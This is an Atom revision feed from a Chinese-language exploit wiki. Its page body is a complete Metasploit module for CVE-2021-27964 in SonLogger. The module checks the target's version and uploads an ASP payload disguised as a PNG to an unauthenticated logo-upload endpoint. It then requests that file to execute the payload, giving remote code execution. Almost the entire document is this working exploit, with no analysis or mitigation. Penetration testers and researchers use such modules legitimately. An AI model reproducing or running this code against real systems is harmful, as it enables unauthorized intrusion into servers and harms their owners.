<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-27964_SonLogger_4.2.3.3_%E6%9C%AA%E7%B6%93%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2021-27964 SonLogger 4.2.3.3 未經身份驗證任意文件上傳漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-27964_SonLogger_4.2.3.3_%E6%9C%AA%E7%B6%93%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-27964_SonLogger_4.2.3.3_%E6%9C%AA%E7%B6%93%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-18T10:36:56Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2021-27964_SonLogger_4.2.3.3_%E6%9C%AA%E7%B6%93%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%E6%BC%8F%E6%B4%9E&amp;diff=1288&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==MSF EXP== &lt;pre&gt; ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitMod...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-27964_SonLogger_4.2.3.3_%E6%9C%AA%E7%B6%93%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%E6%BC%8F%E6%B4%9E&amp;diff=1288&amp;oldid=prev"/>
		<updated>2021-04-09T02:38:15Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==MSF EXP== &amp;lt;pre&amp;gt; ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitMod...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==MSF EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
##&lt;br /&gt;
# This module requires Metasploit: https://metasploit.com/download&lt;br /&gt;
# Current source: https://github.com/rapid7/metasploit-framework&lt;br /&gt;
##&lt;br /&gt;
class MetasploitModule &amp;lt; Msf::Exploit::Remote&lt;br /&gt;
  Rank = NormalRanking&lt;br /&gt;
&lt;br /&gt;
  include Msf::Exploit::EXE&lt;br /&gt;
  prepend Msf::Exploit::Remote::AutoCheck&lt;br /&gt;
  include Msf::Exploit::Remote::HttpClient&lt;br /&gt;
  include Msf::Exploit::FileDropper&lt;br /&gt;
&lt;br /&gt;
  def initialize(info = {})&lt;br /&gt;
    super(&lt;br /&gt;
      update_info(&lt;br /&gt;
        info,&lt;br /&gt;
        'Name' =&amp;gt; 'SonLogger Arbitrary File Upload Exploit',&lt;br /&gt;
        'Description' =&amp;gt; %q{&lt;br /&gt;
          This module exploits an unauthenticated arbitrary file upload&lt;br /&gt;
          via insecure POST request. It has been tested on version &amp;lt; 6.4.1 in&lt;br /&gt;
          Windows 10 Enterprise.&lt;br /&gt;
        },&lt;br /&gt;
        'License' =&amp;gt; MSF_LICENSE,&lt;br /&gt;
        'Author' =&amp;gt;&lt;br /&gt;
          [&lt;br /&gt;
            'Berkan Er &amp;lt;b3rsec@protonmail.com&amp;gt;' # Vulnerability discovery, PoC and Metasploit module&lt;br /&gt;
          ],&lt;br /&gt;
        'References' =&amp;gt;&lt;br /&gt;
          [&lt;br /&gt;
            ['CVE', '2021-27964'],&lt;br /&gt;
            ['URL', 'https://erberkan.github.io/2021/SonLogger-vulns/']&lt;br /&gt;
          ],&lt;br /&gt;
&lt;br /&gt;
        'Platform' =&amp;gt; ['win'],&lt;br /&gt;
        'Privileged' =&amp;gt; false,&lt;br /&gt;
        'Arch' =&amp;gt; [ARCH_X86, ARCH_X64],&lt;br /&gt;
        'Targets' =&amp;gt;&lt;br /&gt;
          [&lt;br /&gt;
            [&lt;br /&gt;
              'SonLogger &amp;lt; 6.4.1',&lt;br /&gt;
              {&lt;br /&gt;
                'Platform' =&amp;gt; 'win'&lt;br /&gt;
              }&lt;br /&gt;
            ],&lt;br /&gt;
          ],&lt;br /&gt;
        'DisclosureDate' =&amp;gt; '2021-03-01',&lt;br /&gt;
        'DefaultTarget' =&amp;gt; 0&lt;br /&gt;
      )&lt;br /&gt;
    )&lt;br /&gt;
&lt;br /&gt;
    register_options(&lt;br /&gt;
      [&lt;br /&gt;
        Opt::RPORT(5000),&lt;br /&gt;
        OptString.new('TARGETURI', [true, 'The base path to the SonLogger', '/'])&lt;br /&gt;
      ]&lt;br /&gt;
    )&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def check_product_info&lt;br /&gt;
    send_request_cgi(&lt;br /&gt;
      'uri' =&amp;gt; normalize_uri(target_uri.path, '/shared/GetProductInfo'),&lt;br /&gt;
      'method' =&amp;gt; 'POST',&lt;br /&gt;
      'data' =&amp;gt; '',&lt;br /&gt;
      'headers' =&amp;gt; {&lt;br /&gt;
        'Accept' =&amp;gt; 'application/json, text/javascript, */*; q=0.01',&lt;br /&gt;
        'Accept-Language' =&amp;gt; 'en-US,en;q=0.5',&lt;br /&gt;
        'Accept-Encoding' =&amp;gt; 'gzip, deflate',&lt;br /&gt;
        'X-Requested-With' =&amp;gt; 'XMLHttpRequest'&lt;br /&gt;
      }&lt;br /&gt;
    )&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def check&lt;br /&gt;
    begin&lt;br /&gt;
      res = check_product_info&lt;br /&gt;
&lt;br /&gt;
      unless res&lt;br /&gt;
        return CheckCode::Unknown('Target is unreachable.')&lt;br /&gt;
      end&lt;br /&gt;
&lt;br /&gt;
      unless res.code == 200&lt;br /&gt;
        return CheckCode::Unknown(&amp;quot;Unexpected server response: #{res.code}&amp;quot;)&lt;br /&gt;
      end&lt;br /&gt;
&lt;br /&gt;
      version = Gem::Version.new(JSON.parse(res.body)['Version'])&lt;br /&gt;
&lt;br /&gt;
      if version &amp;lt; Gem::Version.new('6.4.1')&lt;br /&gt;
        CheckCode::Vulnerable(&amp;quot;SonLogger version #{version}&amp;quot;)&lt;br /&gt;
      else&lt;br /&gt;
        CheckCode::Safe(&amp;quot;SonLogger version #{version}&amp;quot;)&lt;br /&gt;
      end&lt;br /&gt;
    rescue JSON::ParserError&lt;br /&gt;
      fail_with(Failure::UnexpectedReply, 'The target may have been updated')&lt;br /&gt;
    end&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def create_payload&lt;br /&gt;
    Msf::Util::EXE.to_exe_asp(generate_payload_exe).to_s&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def exploit&lt;br /&gt;
    begin&lt;br /&gt;
      print_good('Generate Payload')&lt;br /&gt;
      data = create_payload&lt;br /&gt;
&lt;br /&gt;
      boundary = &amp;quot;----WebKitFormBoundary#{rand_text_alphanumeric(rand(5..14))}&amp;quot;&lt;br /&gt;
      post_data = &amp;quot;--#{boundary}\r\n&amp;quot;&lt;br /&gt;
      post_data &amp;lt;&amp;lt; &amp;quot;Content-Disposition: form-data; name=\&amp;quot;file\&amp;quot;; filename=\&amp;quot;#{rand_text_alphanumeric(rand(5..11))}.asp\&amp;quot;\r\n&amp;quot;&lt;br /&gt;
      post_data &amp;lt;&amp;lt; &amp;quot;Content-Type: image/png\r\n&amp;quot;&lt;br /&gt;
      post_data &amp;lt;&amp;lt; &amp;quot;\r\n#{data}\r\n&amp;quot;&lt;br /&gt;
      post_data &amp;lt;&amp;lt; &amp;quot;--#{boundary}\r\n&amp;quot;&lt;br /&gt;
&lt;br /&gt;
      res = send_request_cgi(&lt;br /&gt;
        'method' =&amp;gt; 'POST',&lt;br /&gt;
        'uri' =&amp;gt; normalize_uri(target_uri.path, '/Config/SaveUploadedHotspotLogoFile'),&lt;br /&gt;
        'ctype' =&amp;gt; &amp;quot;multipart/form-data; boundary=#{boundary}&amp;quot;,&lt;br /&gt;
        'data' =&amp;gt; post_data,&lt;br /&gt;
        'headers' =&amp;gt; {&lt;br /&gt;
          'Accept' =&amp;gt; 'application/json',&lt;br /&gt;
          'Accept-Language' =&amp;gt; 'en-US,en;q=0.5',&lt;br /&gt;
          'X-Requested-With' =&amp;gt; 'XMLHttpRequest'&lt;br /&gt;
        }&lt;br /&gt;
      )&lt;br /&gt;
      unless res&lt;br /&gt;
        fail_with(Failure::Unreachable, 'No response from server')&lt;br /&gt;
      end&lt;br /&gt;
&lt;br /&gt;
      unless res.code == 200&lt;br /&gt;
        fail_with(Failure::Unknown, &amp;quot;Unexpected server response: #{res.code}&amp;quot;)&lt;br /&gt;
      end&lt;br /&gt;
&lt;br /&gt;
      json_res = begin&lt;br /&gt;
        JSON.parse(res.body)&lt;br /&gt;
      rescue JSON::ParserError&lt;br /&gt;
        nil&lt;br /&gt;
      end&lt;br /&gt;
&lt;br /&gt;
      if json_res.nil? || json_res['Message'] == 'Error in saving file'&lt;br /&gt;
        fail_with(Failure::UnexpectedReply, 'Error uploading payload')&lt;br /&gt;
      end&lt;br /&gt;
&lt;br /&gt;
      print_good('Payload has been uploaded')&lt;br /&gt;
&lt;br /&gt;
      handler&lt;br /&gt;
&lt;br /&gt;
      print_status('Executing payload...')&lt;br /&gt;
      send_request_cgi({&lt;br /&gt;
        'uri' =&amp;gt; normalize_uri(target_uri.path, '/Assets/temp/hotspot/img/logohotspot.asp'),&lt;br /&gt;
        'method' =&amp;gt; 'GET'&lt;br /&gt;
      }, 5)&lt;br /&gt;
    end&lt;br /&gt;
  rescue StandardError&lt;br /&gt;
    fail_with(Failure::UnexpectedReply, 'Failed to execute the payload')&lt;br /&gt;
  end&lt;br /&gt;
end&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>